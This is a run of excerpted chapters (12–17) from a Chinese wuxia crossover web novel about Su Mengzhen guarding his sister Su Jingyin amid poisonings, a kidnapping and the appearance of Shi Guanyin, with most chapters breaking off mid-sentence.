无需独孤一鹤恭候,苏梦枕去的比他所说的二更还要更早。 很快就有弟子奉了茶来。 “今日怎么是你?人英出了何事?” 独孤一鹤有此一问,是因为平日奉茶之事,这几年大多都由他三英中最小的弟子严人英所做,几个女弟子甚少主动做这类琐碎杂事,而今夜奉茶来的,却是四秀中排行第二的叶秀珠。 叶秀珠奉茶的手顿了顿,放下茶盏后,才低着头说道,“三师兄今晚不知吃坏了什么东西,肚子不舒服,所以才暂且由弟子过来替他。” 独孤一鹤不疑有他,点了下头,摆手道,“下去吧。” “是,师父。”叶秀珠仍低着头,抱着茶盘退了下去。 “苏楼主此番前来,是想问老夫,有关苏姑娘身世之事吧?”独孤一鹤是个刀客,同时也是个剑客,他的为人处事,与他刀剑双修的武学之道大抵相通,一向都是直来直往的。 “不错。” 独孤一鹤说话这样的直接,与苏梦枕不谋而合,他也开门见山道,“不知舍妹之事,独孤掌门能否为在下一解多年疑惑?” “你父亲在世时,没对你提起过?”独孤一鹤与苏遮幕从前见过几面,但并不熟识,他也是直至今日见到苏镜音,才隐隐对曾经之事有所猜测。 “不曾。” 苏梦枕的生母早逝,父亲于几年后忽然接到一封信,而后便匆匆去往关外一行。苏梦枕当时虽然还小,但已被送上了小寒山拜师学艺,只依稀听闻,此行与父亲一道回来的,还有个三岁的小姑娘。 后来他逢年节回了趟汴京,只见到那长得精致可爱的小姑娘被父亲抱着,看到他时,怯生生的唤他哥哥。 苏梦枕自襁褓中便被「天下第六手」所伤,自此身体孱弱,罹患重疾,因而向来比同龄人更为早熟懂事,彼时父亲看着小姑娘的眼神实在太过悲伤,他未曾解释,苏梦枕便也不问。 但是不问,不代表心无疑虑。 “那差不多已是二十年前的旧事了。”孤独一鹤捋了捋胡须,神色似有些感叹。 苏梦枕言道,“愿闻其详。” “转眼之间,我也老了,武功修炼得再高强,终究还是抵挡不住时光荏苒,世事变迁。” “当年的旧人如今不知散落在何方,这个江湖,已是你们年轻人的天下了……” 独孤一鹤沉沉叹息了一声,端起茶盏,吹去杯中浮沫,边说边要低头饮茶,“若是你见过她父母亲,便能知我为何那般惊诧,只因她长得,与她母亲竟有八成相似……” 苏梦枕倏而抬手拦住了他。 与此同时,金风细雨楼君山别院,苏镜音所居寝屋内。 “阁下不请自来,擅闯姑娘居所,是不是有些过于无礼了?” 楚留香自锦被中翻身而起,手中折扇一转,素来含笑的桃花眼中不见半分笑意,只有显而易见的愠怒与不悦。 对面的蒙面黑衣人反应极快,急步后撤间,一见那躺在衾被中的不是绝色美人,而是楚留香这个风流浪子,便立即知晓自己是被瓮中捉了鳖,当下情况不明,拖得越久对他越不利,因而并不恋战,转身踏起轻功,便要就此逃跑。 楚留香在江湖上被誉为盗帅,源自于他那一身登堂入室的本事,说起来,还要多亏他绝顶的轻功身法「踏月留香」,这世上,还没几个人能在跑路的速度上快过他。 但那黑衣人轻功虽比不过,武功却也不低, 12.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 司空摘星与楚留香算是半个同行。 之所以说是半个,那是因为楚留香与陆小凤一样,实在太能招惹美人与麻烦,除了劫富济贫撒撒币,就如此次天一神水失窃,他同时又要兼职查案一职。 而司空摘星不同,他把偷当作一门艺术,他不偷金银,也不会因为缺钱而去偷盗,大多是作为挑战的乐趣,或者有人花大价钱请他,他才会去。 这次也有人请他,要他偷一个人,偷今日君山大会后,传闻中美得不似凡人的那位美人。 对方出了二十万两银子,他本不想接,毕竟金风细雨楼不是好惹的,苏梦枕的红袖刀也不是吃素的。 但怎奈对方实在太会拿捏他,那人说,要他偷的那位美人,身边还有陆小凤和楚留香两个护花使者保护。 陆小凤太过了解他,轻功又与他不相上下,楚留香盗帅名声在外,比他这个偷王之王更胜一筹,对司空摘星来说,这是独属于他这个艺术家的挑战,他很兴奋。 于是这桩买卖,他接了。 屋外有陆小凤守着,司空摘星无声无息落在房顶上,慎之又慎地挪动瓦片,不多时,一丝光亮就从屋瓦缝隙中透了出来。 屋内有两个人,两个女人。 一个是穿着一袭黑袍面带黑纱的女人,梳的是妇人髻,另一个……是个面上同样带了面纱的姑娘。 虽戴了面纱,但也能看出风姿不俗。 司空摘星提前踩过点,自然知道他要偷的美人并不在自己的房间里,而是应任慈夫人之请,暂时藏到了君山分舵的主院中。 苏镜音戴上面纱后,那位任夫人才冷静了下来。 她不是很明白,明明是任夫人听到君山大会上的风声后让她来的,可为何一见到她的脸就大惊失色,只一个劲的让她千万遮住容貌。 情绪激动的人往往是无法沟通的,苏镜音只能从顺如流,戴上了面纱。 之后她就看到了任夫人黑纱底下的脸。 那已经不能算是一张脸,沟壑丛生,伤疤密布,已经完全看不出皮肉底下的相貌了。 而后,她又听到了一段二十年前的往事。 毁了任夫人容貌的人,有个很古怪的名字,叫作石观音。 苏镜音是听说过石观音的,有人说她是天下间武功最高的女人,同时也是最铁石心肠、最美丽、最狠毒的女人。 却不曾听闻过她的最美丽,原来还是因为更美丽的女人,不是被她杀了,就是被她毁了容貌。 这对苏镜音来说,不是个好消息。 她不想死,也不想毁容,但她的武功菜得一批,她兄长倒是厉害的,可石观音成名多年,是当之无愧的沙漠女王大人,如今的武功究竟高到什么地步,无人得知。 江湖上的流言如风一般,说出口时好似没有丝毫分量,但是飞扬传开的速度,却是快得让人看不见,摸不着。 今日君山大会的事,或许很快就会传到那位蛇蝎美人的耳中。 任夫人此时情绪不是很好,她想见她,不过是想给她提个醒,让她能提前准备好应对之法。 苏镜音打开房门送她离去,门外不远处,陆小凤坐在檐下饮酒,姿态颇为潇洒不羁,转头看到她的时候,眼睛亮了亮。 陆小凤是个很会讨人喜欢的人,笑起来的时候,颊边有两个若隐若现的酒窝,有点可爱。 苏镜音隔着面纱,只露出一双眼睛弯了弯,对他笑了笑,于是他那两个可爱的酒窝,立马就加深了不少。 嗯……更可爱了。 苏镜音关上了门,只余下陆小凤抱着酒壶兀自傻乐着。 苏梦枕拦下了独孤一鹤即将入口的茶。 独孤一鹤看着面前跪在地上,哭着喊着说“那只是迷药”的叶秀珠,仍觉不可置信,他怎么都没想到,从小养大的弟子,竟会被外面的男人教唆下毒害他。 用的还是天一神水那等剧毒之药。 苏梦枕面色却平静得多。 毕竟这是早已预料到的事。 青衣楼幕后黑手所算计之事,原与风雨楼无关。只是经过马车拦路被阻,引来前夜的一场刺杀,他便知道,此事不论如何,自家妹妹已被牵扯其中,他也知道,他一离开,对方很可能会再度冲着她来。 阎铁珊武功不低,若要让他卸下防备喝下天一神水,身边肯定有内鬼,既如此,那独孤一鹤身边呢? 他让茶花约见独孤一鹤,一来,确是为了苏镜音身世一事,二来,今晚他离开别院,若是果真有人想要动她,也就表示独孤一鹤弟子中确有内鬼,与此同时,楚留香亦会等着瓮中捉鳖。 峨眉派要处理门中弟子,苏梦枕不便再留,只说日后会再来拜访便要离开,但离开之前,独孤一鹤叫住了他。 两人走到一旁,独孤一鹤却面带迟疑,似乎有些难以开口,“苏姑娘她……” “前辈多虑了。” 苏梦枕能猜得出来,这位刚遭受弟子背叛,而显得面色有些沧桑的老人,当下在担心些什么。 他说,“不论音音身世如何,对我来说,她一日是我妹妹,就永远是我妹妹。” 那是在父亲离去之后,与他相伴多年的姑娘,也是他看着她一点点长大的姑娘,不论世事如何变迁,他与她,总归都是彼此间最亲近的人。 “这一点,不论发生什么都不会变。” 得到了苏梦枕的保证,独孤一鹤也松了一口气,那毕竟是故人唯一留下的孩子了, 13.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 乌云蔽月,黑暗笼罩。 苏镜音再度醒来的时候,满目殷红。 残破的窗棂在凄厉夜风中摇曳,发出吱呀声响,时不时掺杂几声乌鸦难听的嘶嚎,整个世界仿若只剩下阴森悚然的气息。 浓稠刺鼻的铁锈味,裹挟着湿润泥土与破碎脏腑,矫揉混杂,转而融为一股无法忽视的腥臭气味。 血,到处都是血。 血色之下是什么? 死人,密密麻麻的死人。 破庙不大,几十具尸体几乎堆满了庙内。 只余留她周遭一圈净土。 苏镜音脸色唰地一下就白了。 她止不住地干呕起来。 她不知道她为什么会在这里,但周遭那么多具横七竖八的死尸,她再傻也猜得出,这个地方,极其危险。 可却在此时,门外倏而传来一阵不疾不徐的脚步声。 一步一步,越来越近。 苏镜音忍不住哆嗦了下,她知道现在必须逃,可越是害怕,就越是抑制不住那股恶心感。 一切的一切,都被这呕哕所引发的泪水湮没。 眼前逐渐变得一片模糊。 嘎吱—— 她只听到,那仅剩半扇且破烂不堪的庙门,被人轻轻推开。 脚步声好似踏了进来,一步,两步,却又蓦然驻足。 仅仅只是推开了半扇门,却仿佛在那顷刻之间坠入了冰天雪地,寒凉刺骨,冷得出奇。 她的面纱早已不知何时掉了。 苏镜音慌忙往后缩了缩,低下了头。 她死死咬着唇,几乎屏住了呼吸,硬生生止住了恶心感,不敢在这个时候作出什么刺激到对方的举动。 “你是谁?” 就在这时,苏镜音听到他如此问道。 是个年轻的男声,冷冰冰的,听在耳中,就仿若是寒冬腊月之时,倚栏遥遥望见的大雪纷飞。 那不是纷飞的大雪,那是西门吹雪。 是每年只出四次门,每次追杀一个人,杀完人后,会轻轻吹落剑上血花的西门吹雪。 若说司空摘星是以偷盗为艺术,那杀人,就是西门吹雪的艺术。 他杀的人,无一不是恶贯满盈之徒。 他今年的指标还未完成,今夜的洪涛,是他今年所杀的第三人。 奔赴千里,只为今夜,他在为一个从未见过的陌生人复仇。 在今夜之前,他已茹素斋戒了三日,而杀人之前,他总要焚香沐浴一番。 那洪涛已死,血花吹落的那一刻,他却见到了一个意想不到的人。 尽管只是一掠而过,但西门吹雪的朋友很少很少,只有一个,会披星戴月,不远千里,只为找他喝一杯酒,谈一句笑。 西门吹雪生来性情冷僻,孤傲不群,只有陆小凤,他性子极好,爱交朋友,爱调笑,不论西门吹雪表面看上去如何冷淡,他总是一如既往又死性不改的,偷光他万梅山庄树下埋藏的好酒。 可今夜的陆小凤,面有怒色,西门吹雪就站在那里,他急掠而过之时,却半点未曾注意到他的存在。 西门吹雪从没见过他那副模样。 好似丢失了什么极为重要的宝物般。 于是他飞身跟了上去。 几人的轻功几乎不相上下,西门吹雪是后来才追赶上来的,因而稍晚了一步,只见得陆小凤自破庙方向追着人远去,他本想继续跟着,但猝然间,却见破庙之处隐有刀光闪烁,荧紫浮动,残影猎猎。 一闪而逝,快得仿若错觉。 但西门吹雪知道,那并不是错觉。 刀光沉寂之后,血腥气冲天而起。 西门吹雪蓦然停下了追赶陆小凤的脚步。 这样浓重的血气,死的人至少不下半百。 那样迅疾的刀光,肉眼几乎捕捉不到的刀影,转眼之间就杀了那么多人…… 究竟会是什么人? 西门吹雪不自觉握住了剑柄。 他必须要去看看。 不止是因为,那荧紫刀气之中,隐隐似有无上武道的意境。 更重要的是,这样的人,若是为恶,那从今往后的江湖,将永无宁日。 可任凭西门吹雪百般思虑,千般猜测,却未曾想,他见到的,会是那样一个人。 或者说,是那样一个柔柔弱弱的美人。 几欲含泪,摇摇欲坠。 西门吹雪微微有些怔愣。 明明这个破庙残破不堪,庙里满是青衣尸首,明明夜幕之下月色云遮,血气冲天,却只因为那个人在这里,就好似这里也成了九天宫阙,一眼望去,刹那之间云开见月,花香风拂。 但他很快就回过神来。 他是个剑客,他诚于剑,也诚于人。 却并不诚于美色。 这个江湖,最不能小看的,就是女人。 更何况,是个美得能让人心甘情愿,引颈就戮的美人。 就算这个美人表面看上去气息虚浮,武艺不精,似乎毫无威胁一般。 这个道理,西门吹雪不是不明白。 可他不过开口一问她是谁,只是听到他的声音,她就开始捂唇干呕,并且边呕边哭,止不住地哭。 西门吹雪:“……” 怎么?他的声音听起来那么让人想吐吗? 那小姑娘实在吐得太真情实感,哭得太撕心裂肺。 西门吹雪每次杀人之前的焚香沐浴,总要包下最好的青楼,再包下四个最美的花魁伺候,这么些年下来,他不是没遇到过试图勾引他的花魁。 可勾引人,莫不是盈盈秋水,脉脉含情,哪有她哭成这样天塌 14.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 红袖轻吟,刀势猝停。 司空摘星命悬一线。 真的只差一线。 他垂眼觑着那把架在自己脖颈上的刀,美丽绝伦的刀身映漾一抹殷红,琉璃染血,透骨冶艳。 待到喉间传来一阵刺痛,司空摘星反应过来,骤然惊出了一身冷汗。 若非陆小凤那句“刀下留人”,今日他司空摘星的这条小命,恐怕真就要彻底交代在这儿了! “我妹妹在哪?” 苏梦枕语气阴沉,神色异常平静,但眼底却尽是杀意,出声的同时,手中红袖刀往前送了半寸,刀身立时浮起一道血线。 刀下之意,不言而喻。 自他与楚留香分别,赶往主院中想接妹妹回去,却发现她不见之后,循迹而来,至此已过了近一炷香时间,多一分耽搁,她就多一分危险。 他的时间有限,他的耐心也从来很少很少,都只给了苏镜音一人罢了,完全分不出一星半点给旁人。 “苏公子!” 陆小凤生怕他手稍稍一动,司空摘星的项上人头就身首分离了,他赶紧说道,“我知道苏姑娘在哪!” 红袖刀已划开了他的皮肉,命若悬丝,司空摘星不敢说话,也不敢点头,只能使劲眨眨眼,表示他绝对百分百配合。 笑话,他敢不配合吗?! 从前只听闻苏梦枕行事诡谲凌厉,刀下恶魂无数,但司空摘星也只是听听就过去了,毕竟江湖传言这种东西,大多都要夸大五分,从来不可尽信。 谁曾想,这位「梦枕红袖第一刀」这么可怕,未见其人,刀刃就先撕开了他的皮肉,要不是陆小凤,或许他连死了下到阴曹地府,阎王问他,他都不知道自个儿怎么死的。 难怪明明是个病公子,手中使出的刀,在江湖上名号却能被称作“第一刀”,可见这盛名之下,并无虚名。 司空摘星此刻已经肠子都快悔青了。 该他手贱,招惹什么不好,偏偏招惹这尊煞神,那把红袖刀在苏梦枕手中,比他的轻功还要快,这让他怎么逃得掉? 苏梦枕淡淡看了他一眼,随即撤开了红袖刀。 那一眼,仿若冬日洞庭凝结的湖面冰层,冷淡且平静,但不论是陆小凤,还是司空摘星,皆看得出来,那只是表层上的冷静,实则静水流深,底下暗潮汹涌,倘若苏镜音果真出了什么意外…… 就不知道他会做出什么事来了。 至少方才那一眼,好似淡淡,只有身在其中的司空摘星才感觉得到,那里头所包含着的无尽杀意。 那不是威胁,那是真的起了杀心。 几人的轻功皆在江湖中名列前茅,不多时就赶到了破庙。 甫一靠近破庙,就隐隐约约听到,自里头传来几许上气不接下气的哭声。 这过分熟悉的抽泣声。 苏梦枕心头一紧,咽下喉间蠢蠢欲动的痒意,脚下步法如风,疾速掠进庙中。 陆小凤皱了下眉,与司空摘星对视了一眼,同时也加速跟了上去。 一进庙中,就看到心心念念的心上美人好端端坐在地上,陆小凤还未来得及惊喜她没事,下一刻,就瞧见了她身旁像个木桩子一样,直挺挺站着的人。 陆小凤使劲揉了揉眼睛,一副不敢相信的样子,“西、西门?你怎么在这里?!” 在这里就算了,他竟还任由苏姑娘拿他的白袖子擦眼泪? 西门吹雪木着脸,听到声音后,慢吞吞地转过头来,机械似的眨了下眼,视线有些发飘。 苏镜音还在委屈地哭唧唧,死死揪着西门吹雪的袖子擦眼泪,完全没发现有人进来了。 不怪她,谁让那冰块脸话不说清楚就算了,还笑得那么可气,害她误会他是陆小凤的死对头,以为她马上要被咔嚓撕票了,伤心之下一哭就停不下来了。 她这抹着泪呢,旁边忽然伸出一只削瘦见骨的手来,扣住她揪着人家衣袖的爪子,一下给用力扒拉开了,转头一看,猝然对上了一双冷若寒星般的眸子。 是她那安全感爆棚的兄长,正一脸不高兴地眯着眼看她。 垮起个批脸,脸臭得要命。 她怔了一瞬,下一秒扑进了他怀里,不管三七二十一,先哭为敬。 于是苏梦枕就听到,怀里的小废物嘤嘤呜呜的,哭得更凄惨了。 好像受了什么大委屈似的。 苏镜音是真觉得委屈,在她前面的十几年鱼生里,从来没见过那么多死人,也从来没经历过这么血腥恐怖的夜晚。 苏梦枕被她哭得整个人都麻了,心口处一揪一揪的,隐隐发疼,他叹了口气,轻轻拍着她的背,耐心地柔声安抚着。 但在她看不到的地方,他的下颌线条紧紧绷着,眸光森然,盯着地上身着青衣的一具具尸体,眼底渐渐氤氲出了无声风暴。 青衣楼,又是青衣楼。 直到怀里的小废物哭得声气低弱,苏梦枕才掩下眸中冷意,将她从怀中捞出来,毫不嫌弃地用袖角给她擦了擦。 “这里脏,我们先回去再说。” 他擦完,直接一把将她打横抱起来,一张病容苍白的脸上寒霜密布,也不管庙中的另外几个人,径直走了出去。 苏镜音哭也哭累了,找了个舒服的姿势,熟练地把脸埋进他怀里,才离开破庙不到半晌,就这么窝着睡着了。 心上美人没事,好友也暂时逃过一命,陆小凤长舒了一口气,也知道眼下不是打扰的好 15.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 苏梦枕想,他这辈子,或许都忘不了这双含泪的眼了。 父亲在临去前,交到他手上的除了金风细雨楼,还有她,但苏梦枕从前一直以为,对他来说,没有什么比得上金风细雨楼,就算是她,也得退一位。 可直至今日,在找不到她的时候,他心底的焦灼与愤怒,比起火山沸腾还要来得汹汹,只觉如若她出了什么事,就算倾尽风雨楼的一切,他也要对方付出惨烈的代价。 他不知道这是一种什么样的感情。 他也不明白,是否常年陪伴的亲情,竟也能浓烈到这等地步。 他自小病弱,大抵清楚自己时日无多,活到如今,是靠他一年比一年深厚的内力撑着,那吊住性命的一口内息,若是散了,他也就活到头了。 所以他不敢付出太过浓厚的感情,他怕自己舍不得,舍不得离开,舍不得放手,舍不得留这么一个妹妹,独自在这举目无亲的人世间。 可原来不知不觉中,她对他而言,已经这般重要了。 仅仅只是看着她那双含泪的眼,从来不可一世的,孤高謇傲的苏梦枕,都忍不住软下心肠。 可面对着她那一声声诘问,苏梦枕却不知该如何回答。 他没说能,也没说不能。 苏梦枕只是沉默着。 可苏镜音非要得到一个答案。 她倔强地看着他,眼底有泪光闪烁。 他默然了半晌,终究还是说出了那些苏镜音不想面对的事实,明知这对她而言,何其残忍。 “我身子不好,护不了你一生。” 苏镜音眼泪瞬间就下来了。 她觉得他好狠的心啊,竟连这都不肯骗她,一字都不肯。 她不是不知道他一身伤病有多严重,也不是不明白,他逼着她练刀,是因为放心不下她,担心今后保护不了她。 可她只是觉得,也认定了,只要她学不会,学不好,他就不会狠心撒手抛下她了。 可他现在却非要告诉她,终究会有那一天的。 他终究会抛下她的。 “许多事,我都为你安排好了,你无须担心。” 既然已撕开了这层纱,明知她不愿意听,苏梦枕还是想趁此机会告诉她。 他的手指还被她牢牢牵着,一簇眼泪滴落在他手背上,下一秒,却仿佛烫进了心里。 他眼底闪过一抹痛色,顿了顿,还是狠狠心继续说下去,“你若想要风雨楼,无邪他们自会辅佐你,你若不想要……” “别说了,你别说了!” 苏镜音咬着牙,捂着耳朵别过头去,臭直男,谁要听什么破实话啊! “……你若不想要,我在江南,给你准备了一座山庄,钱财,侍从,以及保护你的高手,我都为你……”他的脸色是一如既往的苍白,可他说出来的话却犹如刀割,每说一句,苏镜音的脸色也就更白一分。 “我不想听!” 苏镜音的眼泪已经止不住了。 她泪眼朦胧地看着他,眼底甚至都带出了丝许恨意,“我还要谢谢兄长替我考虑得如此周到,是吗?” 牡丹沾露,梨花带雨。 覆于尾指的温度,已在前一刻被收了回去,刹那间冷入骨髓。 苏梦枕指尖蜷了蜷,心下隐有猝痛,面上却仍不动声色。 他看着她,仿佛看着一个闹脾气的孩子。 “音音,就算我不说,你也都明白的。” “我不想明白!” 苏镜音此时已经完全不想面对他了,她背过身去,被子往上一拉,整个人蜷缩着,哭得不能自己。 苏梦枕觉得,他的心都要被她哭疼了。 可他没办法骗她,上天待他何其薄幸,从来不予他年岁,天不假年,这是无可更改的事实。 苏梦枕为了她,可以上天揽月,可以无所不能,只除了一件事。 他做不到陪她一生。 夜幕低垂,万籁俱寂。 床上的姑娘哭累了,渐渐睡了过去,眼角犹带着泪痕,眉间染了愁绪,仿佛就连睡梦中也不安稳。 苏梦枕悄声点了几记身上穴道。 他喉间的痒意总也忍不住,他总是咳,咳得声嘶又力竭,如耄耋老人一般,如破败的风箱一般,仿佛只剩最后一口气。 唯一的法子,就是强行封住穴位压制咳意,但此法只是暂时的,就如大禹治水,堵不如疏,一旦解了穴道,咳意便如洪水泛滥,一发不可收拾。 甚至会比原先咳得更厉害。 可看着在烛火细碎的暖光之下,哭累了睡着的姑娘,苏梦枕却觉,为了这一夜,她能安宁的好好睡一场,他付出多少都是值得的。 茶花轻手轻脚地搬来了软塌,放好后,却欲言又止,苏梦枕打了个噤声的手势,示意他外边说。 屋外寒风凛冽,与屋内的融融暖意,仿佛相隔两个世界,苏梦枕拢了拢狐裘,低声说道,“小声些,什么事?” 茶花会意,压低 16.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 无花与南宫灵陡然一颤,双双大惊失色。 窗边发出了些微响动。 好像是窗户被……推了一下,没推开。 窈窕轻巧的脚步声,转而一步步踏到了屋门外。 无花对南宫灵使了个眼色。 若是再推不开,母亲或许又要发疯了。 南宫灵立即会意,赶紧前去拉开门栓,主动打开了屋门。 秋风拂扫落花,金红色的花瓣飞舞翩跹,飘飘悠悠,随风潜入了屋内。 石观音长得很美,活色生香的美。 星眸璀璨,美艳绝丽。 此时一进屋来,一见二人,便笑得甜蜜又娇媚,风姿尤胜二八少女。 “我的好儿子啊,你们刚才……是在说什么不能让母亲知道的话吗?” 无花端起微笑,“母亲说笑了,若真有要事,我们兄弟二人,自是不敢欺瞒母亲。” 南宫灵连忙点头附和。 “我今日听说,君山大会开的很顺利呢,母亲还未恭喜我们小灵,正式升任丐帮帮主了……”石观音坐在桌边,抬手抚了抚鬓边的发丝,明明只是简单的动作,在她身上,却能做得风情万种,媚态横生。 南宫灵毕竟还是少年,仍对母亲有所期待,此时眼角眉梢的笑意,俨然比方才真实得多,“谢母亲。” “如此说来,君山大会上,出现的那位天仙似的美人,你们都见过了?”石观音目光倏而变得幽深,骤然盯住了无花。 无花后背陡然一僵,冷汗乍起。 “……是。”他缓缓道。 石观音又问,“是她吗?” 无花:“……是她。” 石观音面上的娇笑之态,此时已然消失不见。 “最迟明夜,我要见她。” 无花一惊,蓦然抬眉。 石观音唇角微勾,捻了捻葱白指尖,其中的威胁不言而喻。 无花迟疑了少顷,最终还是在石观音阴寒的目光中,艰难点了头。 她的武功委实太高。 时至今日,他仍不是她的对手。 翌日一大早。 清晨的第一缕阳光透过窗棂钻进屋中,苏镜音醒来的时候,脑袋还有点发懵,眼睑动了动,努力了一下没能睁开,下意识抬起手遮住那刺眼的光线,捂着眼睛就开始发起呆来。 没了视线,嗅觉却似敏锐了许多,鼻端充盈着丝丝缕缕的药香,在晨曦的暖意中徐徐散开,氤氲出了几许飘然的醉意。 直到床边传来一连串熟悉的咳声,她才如梦初醒般,转头看过去。 然后就看到她那个辣鸡哥哥靠在塌上,手拿帕子捂着唇,咳得停不下来,额上有冷汗涔涔,青筋如蛛网般迅速蔓延,不一会儿,就有点点殷红穿透了雪白无暇的帕子。 苏镜音心里堵着的那口气,一下就散了。 算了,跟这么一个病恹恹的臭直男计较什么呢。 苏梦枕咳出几口血,几乎染红了整张帕子,换作平常本该舒坦些了,但经过一夜的强行压制,此时喉间的痒意还在纠缠不休,他仍是止不住地咳,只是那张红透的帕子已不能用了。 旁边忽而伸出一只柔嫩如玉的手。 苏梦枕手中也多了条雪白无瑕的帕子。 他抬眸看她,眼中似有星光闪动,还不待苏镜音看清,却又很快掩下,转而被连绵不断的嘶咳声所覆盖。 苏镜音一下一下拍着他的背。 他咳了太久,久到苏镜音的眉间都染上了忧色。 又过了好半晌,苏梦枕的咳喘才慢慢平缓下来。 苏镜音:“怎会咳得这样严重?” 苏梦枕:“不生气了?” 两人几乎同时出声。 他不说还好,一说,苏镜音顿时就不高兴了。 她瓮声瓮气地说,“你是不是故意的?”故意咳成那副样子,好让她心软。 苏梦枕笑了。 他的笑意总是很轻很克制,就和他这个人一样,病染膏肓骨髓,不论想要什么,想做什么,都须克制。 “没有。”他轻声说。 苏镜音:“嗯??” “没有故意。” 他方才咳嗽了好一阵,此时的嗓音已不复先前的清朗,“每逢秋冬,总会严重些的。” 苏镜音站在塌旁,一脸怀疑,毕竟从前再冷的天,也从未见他一大早就咳成这样的。 他凝眸回望着她,目光柔和,任谁都看不出这话里的水分有多大。 想不通也就不想了,苏镜音向来懒得纠结太多,再加上昨晚折腾了大半宿,她早就饿了。 苏镜音出去吩咐了几句,茶花没多久就将早膳摆到了房里。 一碗白粥,一碟素笋丝,这是苏公子的。 至于苏大小姐的早膳,一小碗虾仁馄饨,一小碗梅花汤饼,一碟素烧鹅,一碟梅子姜,还有一碟广寒糕。 苏镜音胃口小,因此量都不大,每样大概都几口的分量。 饭后她就跑去补了个回笼觉,苏梦枕也难得没管她,自己倚在塌上看书,当下万籁无声,耳畔只闻姑娘的浅浅呼吸,他唇角的轻浅笑意不曾落下,只觉这岁月静好,闲适安然。 然而到了午膳,苏梦枕就不再安然了。 他看着自己面前和早膳相比, 17.美人刀 《[综武侠]祸水美人她好难》全本免费阅读 泪余睫下,洗尽胭脂。 苏镜音就这么怔住了。 她本以来对方和青衣楼是一伙的,又是来杀她的,但现在来看,好像并不是的样子? 虽说她是真纳闷,她不知道自己干了什么,才会那么招青衣楼的眼,但人家都连杀她两次了,她也不是什么好脾气的人,兄长说已经飞鸽传书,下达命令给莫北神,让他带着「无发无天」部队,直接从汴京出发,前往山西青衣第一楼,铲除罪魁祸首。 苏镜音没问罪魁祸首是谁,但她知道,楚留香在查天一神水失窃的事,这事和青衣楼也有点联系,那天楚留香来找她哥哥,他将白楼查到的一些消息给了他。 如今楚留香查到什么程度了,苏镜音不知道,但如果加上杨无邪查到的消息,便百无一错,此时莫北神他们,应该已经在路上了。 话说回来,眼下这人如果不是青衣楼派来的,那她又是谁? 那两行眼泪仿佛四月的梅雨似的,淅淅沥沥的,止不住的下。 苏镜音犹豫了下,从怀里掏出一张帕子,上前几步,递给了她。 折得整整齐齐的丝绸帕子,上边什么都没绣,雪白,无暇,干干净净的,犹如她此时此刻的眼神。 石观音比她高出半个头,垂下眸子看她,眼底深处,是她怎么也看不懂的悲伤。 小姑娘与姐姐足足像了八分,同样的清艳无双,同样的仙姿佚貌。 唯一多出来的,是眼尾的那颗泪痣。 此时绯色暗淡,不若杀人之时的冶艳。 夜叉白雪是刻在灵魂中的契约。 这是强行剥离夜叉白雪,强行融入血脉,才会生成的印记。 姐姐啊姐姐,强大如你,为何会被逼到那等地步? 你当年,究竟发生了什么事? 苏镜音看她接过帕子,正要缩回去保持安全距离,就听那女人忽然开口,似是怕吓到她,声音轻柔极了,“你……叫什么名字?” 原本石观音今晚要来,对于守在屋外的那些风雨楼的弟子,她向来都喜欢用最简单省事的法子,直接杀了,一了百了,但无花却难得心慈手软,拦下了她,只说会帮她引开。 现在石观音倒是有些庆幸,小姑娘这么容易心软,要是发现外面那些人都被她杀了的话,恐怕不会那么容易原谅她。 说起来得亏无花与南宫灵不在,否则听到石观音话里话外这般温柔,估计都要忍不住怀疑人生了。 儿子都是意外,姐姐才是真爱。 苏镜音更觉古怪了,这人连她是谁都不知道,那突然来找她作什么? 但小命算是捏在别人手里,她只能照实回答,“苏镜音,水月镜花的镜,余音袅袅的音。” “镜……” 听到这个名字,石观音有些恍惚,“这是你娘给你取的名字?” “不是。” 苏镜音摇了摇头,“爹爹说我出世没多久,娘亲就死了,这是他给我取的。” 石观音眼神一变,“你竟知晓你爹是谁?” “啊??” 苏镜音眼前唰地划过一排问号。 不是,她都是她爹带大的,她当然知道她爹是谁啊! 这位美人脑子真的没点毛病吗?? 她斟酌着开口,“那个,姐姐,你知道……” “你不该叫我姐姐。”石观音骤然打断了她的话。 苏镜音礼貌假笑:“……” 原谅她不懂江湖规矩,难道这叫姐姐还有什么该不该的? 石观音说,“你该叫我小姨。” “……??” 苏镜音整个人都被她搞麻爪了。 她小小的脑壳里,塞满了大大的问号。 等等啊!她完全跟不上她的节奏啊! 还没等苏镜音缓口气,便听见对面的石观音又问道,“音音要不要跟小姨走?” 苏镜音:“……??” 这位姐姐,哦不是,是这位小姨,美人是美人,就是说话真特喵有点费人。 东一榔头西一棒子的,把她砸了个晕头转向,不知南北西东。 不行,不能再被她牵着鼻子走了! 苏镜音决定按照自己的步调来,她问道,“可是我还不知道,你是谁呢?” 石观音眉梢微挑,“我已经说了。” 苏镜音摇头,她抿了抿唇,说道,“你只说了你是小姨,但没说你究竟是谁,叫什么名字?” “最早的名字,对我来说已经不重要了……” 石观音目光转而变得有些空茫,仿佛全然陷入了回忆里。 但她很快就回过神来,“……后来,我来到这里时,听说原本的名字叫李琦,那姓太晦气了,我讨厌这个名字。” “如今,我叫石观音。” 苏镜音倒吸一口凉气。 石观音这个名字怪耳熟的嘞! 她昨儿晚上才听过的嘞! 听说是个大魔头嘞! 而且,还是个毁容削人的一把好手啊! 苏镜音不自觉捂上了她的漂亮小脸蛋,嘤,她可怕疼了…… 石观音失笑出声。 她笑够了,才语含深意道,“好孩子,我是你小姨,自然不会对你做出那等事来。” 所以如果不是就会做了?? 苏镜音不知道这是个对亲儿砸都下得了毒手的主,只想苟住一刻是一刻,她滑跪得飞快,一脸的乖巧可爱,“……小姨。” “乖孩子。” 或许是此时石观音脸上的笑容,实在太过真情实感,苏镜音不知为何,觉得心底里有些泛酸。 她自小在风雨楼长大,虽备受宠爱,但娘亲早早就死了,长辈又几乎都是叔叔伯伯,江湖人风里来血里去,生死不定,叔伯们全是单身狗,因此极少有女性长辈。 如今有这么一个小姨,用那种温暖柔和的眼神看着她,很像她小时候想象中的娘亲的眼神,那种感觉,难以用言语表达,只觉心里又酸又涨的。 然而这种感觉没能持续片刻,就听石观音说道,“收拾一下,跟小姨走。” 苏镜音一脸懵,“走?去哪里?”这位小姨真的是很雷厉风行了。 石观音问,“和小姨一起,去石林洞府好不好?” 苏镜音摇摇头。 